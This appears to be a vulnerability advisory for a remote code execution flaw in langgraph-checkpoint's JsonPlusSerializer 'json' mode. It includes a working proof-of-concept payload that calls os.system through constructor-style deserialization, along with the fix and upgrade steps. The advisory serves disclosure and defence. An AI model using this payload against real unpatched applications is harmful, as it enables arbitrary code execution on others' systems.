LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.